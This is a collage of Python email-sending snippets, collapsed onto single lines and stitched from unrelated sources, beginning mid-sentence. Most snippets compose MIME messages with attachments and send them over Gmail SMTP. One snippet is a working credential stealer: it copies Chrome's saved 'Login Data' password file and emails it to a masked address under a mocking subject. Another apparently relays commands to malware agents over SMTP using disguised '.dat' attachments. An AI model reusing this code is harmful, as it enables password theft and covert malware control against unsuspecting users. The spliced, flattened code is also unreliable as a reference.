that matches pattern including sub directories fileList = glob.glob('email_addresses*', recursive=False)
def main(sender, recipients, subject, body, is_reminder, reminder_mails, reminder_numbers): global data chk_folder = Path('inbox_attachment_dir') if (chk_folder.is_dir()): print("The folder is available") else: print("The folder is not available") gmail_password = '******' #recipients = ['*****@*****.**','*****@*****.**','*****@*****.**','*****@*****.**'] email_sent = dbcreate() # Create the enclosing (outer) message outer = MIMEMultipart() outer['Subject'] = subject outer['From'] = sender outer['Message-ID'] = email.utils.make_msgid() outer.preamble = 'You will not see this in a MIME-aware mail reader.\n' # List of attachments attachments = [] attachments_folder_name = subject + str(outer['Message-ID']) # Add the attachments to the message for file in attachments: try: with open(file, 'rb') as fp: msg = MIMEBase('application', "octet-stream") msg.set_payload(fp.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file)) outer.attach(msg) except: print("Unable to open one of the attachments. Error: ", sys.exc_info()[0]) raise ''' try: with open(file,'rb') as fp: ''' # Send the email try: with smtplib.SMTP('smtp.gmail.com', 587) as s: s.ehlo() s.starttls() s.ehlo() s.login(sender, gmail_password) for recipient in recipients: outer['To'] = recipient outer.attach(MIMEText(body, "html")) composed = outer.as_string() s.sendmail(sender, recipient, composed) del (outer['To']) s.close() print("Email sent!") #re = datetime.datetime.now() + datetime.timedelta(minutes=1) #re = re.timestamp()*1000 email_sent.insert_one({ 'to': recipients, 'from': sender, 'subject': outer['Subject'], 'MessageID': str(outer['Message-ID']), 'DateTime': datetime.datetime.now(), 'time': time.time(), 'attachments': attachments, 'message': body, #'reminder':re, 'reminder': data, 'reminder_mails': reminder_mails, 'reminder_numbers': reminder_numbers, 'is_reminder': is_reminder }) except: print("Unable to send the email. Error: ", sys.exc_info()[0]) raise
def mail(toaddr, body, fromaddr, pd): #fromaddr = "*****@*****.**" # toaddr = "*****@*****.**" # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = fromaddr # storing the receivers email address msg['To'] = toaddr # storing the subject msg['Subject'] = "Safe EC" # msg['Subject'] = subject # string to store the body of the mail # body = "Body_of_the_mail" # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent filename = "encrypted.dat" attachment = open(r'encrypted.dat', "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security s.starttls() # Authentication #s.login(fromaddr, "8289813879") # storing the senders email password msg['Password'] = pd # Converts the Multipart msg into a string text = msg.as_string() # Authentication s.login(fromaddr, pd) # sending the mail s.sendmail(fromaddr, toaddr, text) # terminating the session s.quit()
#The mail addresses and password sender_address = '*****@*****.**' sender_pass = '******' receiver_address = '*****@*****.**' #Setup the MIME message = MIMEMultipart() message['From'] = sender_address message['To'] = receiver_address message['Subject'] = 'Log file generated by Monitor Service' #The subject line #The body and the attachments for the mail message.attach(MIMEText(mail_content, 'plain')) attach_file_name = 'log.txt' attach_file = open(attach_file_name, 'rb') # Open the file as binary mode payload = MIMEBase('application', 'octate-stream', Name=attach_file_name) payload.set_payload((attach_file).read()) encoders.encode_base64(payload) #encode the attachment #add payload header with filename payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name) message.attach(payload) #Create SMTP session for sending the mail session = smtplib.SMTP('smtp.gmail.com', 587) #use gmail with port session.starttls() #enable security session.login(sender_address, sender_pass) #login with mail_id and password text = message.as_string() session.sendmail(sender_address, receiver_address, text) session.quit() print('Log file has Sent to ' + receiver_address)
# remove data from file system self.LocalStorage.data_for_agent_accepted(agent_id, mark) self.Logger.log_message(">>> send command for " + str(agent_id) + "[cmd_size: " + str(len(res_body)) + "]") # init smtp message msg = MIMEMultipart('alternative') msg['Date'] = datetime.utcnow().isoformat() msg['Subject'] = res_body msg['From'] = SMTP_FROM_ADDR msg['To'] = SMTP_TO_ADDR print "SMTP_MSG: %s" % msg # load attach _attach = MIMEBase('application', 'octet-stream') _attach.set_payload(res_body) # _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \ # XABase64.random_string(XABase64.generate_int(2, 4)) _attach.add_header('Content-Disposition', 'attachment', filename='detaluri_%s.dat' % time.strftime("%d%m%Y%H%M")) # text _text = MIMEText('gamarjoba') msg.attach(_text) msg.attach(_attach) ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string()) print "\n" + "=" * 40
def mailwithAttachemnt(reciver, id, filelocation): subject = "QR Code" # body = "This is an email with attachment sent from Python" body = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <p>dear member,<br> your id number is {}. download this file</p> </body> </html> """.format(id) sender_email = "*****@*****.**" receiver_email = reciver password = "******" # Create a multipart message and set headers message = MIMEMultipart() message["From"] = sender_email message["To"] = receiver_email message["Subject"] = subject message["Bcc"] = receiver_email # Recommended for mass emails # Add body to email # message.attach(MIMEText(body, "plain")) message.attach(MIMEText(body, "html")) # filename = "../static/pdf/8SigneRichardson.pdf" # In same directory as script filename = filelocation # In same directory as script # Open PDF file in binary mode with open(filename, "rb") as attachment: # Add file as application/octet-stream # Email client can usually download this automatically as attachment part = MIMEBase("application", "octet-stream") part.set_payload(attachment.read()) # Encode file in ASCII characters to send by email encoders.encode_base64(part) # Add header as key/value pair to attachment part part.add_header( "Content-Disposition", f"attachment; filename= {filename}", ) # Add attachment to message and convert message to string message.attach(part) text = message.as_string() # Log in to server using secure context and send email context = ssl.create_default_context() with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server: server.login(sender_email, password) server.sendmail(sender_email, receiver_email, text)
import socket import os # creating way to Login Data and copying this file to my directory pc_name = os.environ.get("USERNAME") data_way = r"C:\\users\\" + str( pc_name) + r"\AppData\Local\Google\Chrome\User Data\Default\Login Data" copyfile(data_way, "passwords") addr_from = "*****@*****.**" addr_to = "*****@*****.**" password = "******" msg = MIMEMultipart() msg["From"] = addr_from msg["To"] = addr_to msg["Subject"] = "еще одна взломанная жопа" with open(data_way, "rb") as fp: file = MIMEBase("text", "markdown") file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-desposition', 'attachment', filename="filename") msg.attach(file) server = smtplib.SMTP("smtp.gmail.com: 587") server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
# Email details message = MIMEMultipart() message["From"] = bot_mail message["To"] = receiver_email message["Subject"] = "Good morning" message["Bcc"] = receiver_email # Add attatchments to Email, based on the attachments folder directory = r"{}".format(attatchment_path) for filename in os.listdir(directory): if filename.endswith(".jpg") or filename.endswith( ".png"): # Loop the images. file = attatchment_path + filename with open(file, "rb") as attachment: part = MIMEBase("application", "octet-stream") part.set_payload(attachment.read()) encoders.encode_base64(part) # Encode part.add_header( # Attatchment name in email. Important for opening. "Content-Disposition", f"attachment; filename= {filename}") message.attach(part) # Email message body = "Här är den dagliga statistikrapporten från journalen \n Lycka till idag!" message.attach(MIMEText(body, "plain")) # Send email port = 465 #context = ssl.create_default_context() #with smtplib.SMTP_SSL("smtp.gmail.com", port, context=context) as server: with smtplib.SMTP_SSL("smtp.gmail.com", port) as server: server.login(bot_mail, password)
def build_email(self, email_from, email_to, subject, body, email_cc=None, email_bcc=None, reply_to=False, attachments=None, message_id=None, references=None, object_id=False, subtype='plain', headers=None, body_alternative=None, subtype_alternative='plain'): """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it. :param string email_from: sender email address :param list email_to: list of recipient addresses (to be joined with commas) :param string subject: email subject (no pre-encoding/quoting necessary) :param string body: email body, of the type ``subtype`` (by default, plaintext). If html subtype is used, the message will be automatically converted to plaintext and wrapped in multipart/alternative, unless an explicit ``body_alternative`` version is passed. :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative`` :param string reply_to: optional value of Reply-To header :param string object_id: optional tracking identifier, to be included in the message-id for recognizing replies. Suggested format for object-id is "res_id-model", e.g. "12345-crm.lead". :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'), must match the format of the ``body`` parameter. Default is 'plain', making the content part of the mail "text/plain". :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain' or 'html'). Default is 'plain'. :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string containing the bytes of the attachment :param list email_cc: optional list of string values for CC header (to be joined with commas) :param list email_bcc: optional list of string values for BCC header (to be joined with commas) :param dict headers: optional map of headers to set on the outgoing mail (may override the other headers, including Subject, Reply-To, Message-Id, etc.) :rtype: email.message.Message (usually MIMEMultipart) :return: the new RFC2822 email message """ email_from = email_from or tools.config.get('email_from') assert email_from, "You must either provide a sender address explicitly or configure "\ "a global sender address in the server configuration or with the "\ "--email-from startup parameter." # Note: we must force all strings to to 8-bit utf-8 when crafting message, # or use encode_header() for headers, which does it automatically. headers = headers or {} # need valid dict later if not email_cc: email_cc = [] if not email_bcc: email_bcc = [] if not body: body = u'' email_body_utf8 = ustr(body).encode('utf-8') email_text_part = MIMEText(email_body_utf8, _subtype=subtype, _charset='utf-8') msg = MIMEMultipart() if not message_id: if object_id: message_id = tools.generate_tracking_message_id(object_id) else: message_id = make_msgid() msg['Message-Id'] = encode_header(message_id) if references: msg['references'] = encode_header(references) msg['Subject'] = encode_header(subject) msg['From'] = encode_rfc2822_address_header(email_from) del msg['Reply-To'] if reply_to: msg['Reply-To'] = encode_rfc2822_address_header(reply_to) else: msg['Reply-To'] = msg['From'] msg['To'] = encode_rfc2822_address_header(COMMASPACE.join(email_to)) if email_cc: msg['Cc'] = encode_rfc2822_address_header(COMMASPACE.join(email_cc)) if email_bcc: msg['Bcc'] = encode_rfc2822_address_header(COMMASPACE.join(email_bcc)) msg['Date'] = formatdate() # Custom headers may override normal headers or provide additional ones for key, value in headers.iteritems(): msg[ustr(key).encode('utf-8')] = encode_header(value) if subtype == 'html' and not body_alternative and html2text: # Always provide alternative text body ourselves if possible. text_utf8 = tools.html2text(email_body_utf8.decode('utf-8')).encode('utf-8') alternative_part = MIMEMultipart(_subtype="alternative") alternative_part.attach(MIMEText(text_utf8, _charset='utf-8', _subtype='plain')) alternative_part.attach(email_text_part) msg.attach(alternative_part) elif body_alternative: # Include both alternatives, as specified, within a multipart/alternative part alternative_part = MIMEMultipart(_subtype="alternative") body_alternative_utf8 = ustr(body_alternative).encode('utf-8') alternative_body_part = MIMEText(body_alternative_utf8, _subtype=subtype_alternative, _charset='utf-8') alternative_part.attach(alternative_body_part) alternative_part.attach(email_text_part) msg.attach(alternative_part) else: msg.attach(email_text_part) if attachments: for (fname, fcontent) in attachments: filename_rfc2047 = encode_header_param(fname) part = MIMEBase('application', "octet-stream") # The default RFC2231 encoding of Message.add_header() works in Thunderbird but not GMail # so we fix it by using RFC2047 encoding for the filename instead. part.set_param('name', filename_rfc2047) part.add_header('Content-Disposition', 'attachment', filename=filename_rfc2047) part.set_payload(fcontent) Encoders.encode_base64(part) msg.attach(part) return msg
def delivering(s_from, s_to): ''' s_from: (smtp, account, password, nickname, greeting) s_to: (to, subject, body, attachments) ''' #+---- logging ---+ print("logging to", logging_file) logging.info('''\ Now delivering.. +------------------------------+ from: {0} <{1}> to: {3} subject: {4} content: >> {2}, {5} >> attachments: {6} +------------------------------+ '''.format(s_from['nickname'], s_from['account'], s_from['greeting'], s_to['to'], s_to['subject'], s_to['body'], s_to['attachments'])) # email header m = MIMEMultipart() m['From'] = '{0} <{1}>'.format(s_from['nickname'], s_from['account']) m['To'] = ';'.join(s_to['to']) m['Subject'] = s_to['subject'] # email body content = MIMEText(''' {0}, {1} '''.format(s_from['greeting'], s_to['body']), 'plain', 'utf-8') m.attach(content) # email attachments for filename in s_to['attachments']: with open(filename, 'rb') as f: addon = MIMEBase('application', 'octet-stream') addon.set_payload(f.read()) encoders.encode_base64(addon) addon.add_header('Content-Disposition', 'attachment; \ filename="{0}"'.format(os.path.basename(filename))) m.attach(addon) # send email svr = smtplib.SMTP(s_from['smtp']) try: #svr.connect(s_from['smtp']) # error accurred with python > 3.4 ! svr.ehlo() svr.starttls() svr.ehlo() #svr.set_debuglevel(1) svr.login(s_from['account'], s_from['password']) svr.sendmail(s_from['account'], s_to['to'], m.as_string()) retval = 0 except KeyboardInterrupt: print('[*] operation aborted!') retval = -1 except Exception as err: print('[*] delivering err: {0}'.format(err), file=sys.stderr) #+---- logging ---+ logging.warning('delivering: {0}'.format(err)) retval = -2 finally: svr.quit() #+---- logging ---+ logging.info("mailman code: {0}".format(retval)) return retval
def sendEmail(): #This sends an email containing any type of attachment emailfrom = "*****@*****.**" emailto = ["*****@*****.**"] fileToSend = "/home/pi/picurity-system/videos/SurveillanceFootage.h264" username = "******" password = "******" msg = MIMEMultipart() msg["From"] = emailfrom msg["To"] = ", ".join(emailto) msg["Subject"] = "Motion Has Been Detected: View Attached Clip" msg.preamble = "Motion Has Been Detected: View Attached Clip" ctype, encoding = mimetypes.guess_type(fileToSend) if ctype is None or encoding is not None: ctype = "application/octet-stream" maintype, subtype = ctype.split("/", 1) fp = open(fileToSend, "rb") attachment = MIMEBase(maintype, subtype) attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=fileToSend) msg.attach(attachment) server = smtplib.SMTP("smtp.gmail.com:587") server.starttls() server.login(username,password) server.sendmail(emailfrom, emailto, msg.as_string()) server.quit()
def run(self): account = str(self.account) # Create the enclosing (outer) message outer = MIMEMultipart() outer['Subject'] = 'mask{0}mask_{1}'.format(self.index, str(self.filename)) outer['To'] = account outer['From'] = account outer.preamble = 'You will not see this in a MIME-aware mail reader.\n' ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(str(self.filename), 'rb') msg = MIMEBase(maintype, subtype) #msg.set_payload(encodebytes(fp.read()).decode()) msg.set_payload(fp.read()) fp.close() encoders.encode_base64(msg) # msg.add_header('Content-Transfer-Encoding', 'base64') msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(str(self.filename))) outer.attach(msg) # Send the message composed = outer.as_string() if DEBUG: fp = open("./output", 'w') fp.write(composed) fp.close() else: s = smtplib.SMTP() s.set_debuglevel(DEBUG) s.connect(self.smtp_server) s.login(account, self.password) s.sendmail(account, account, composed) s.quit()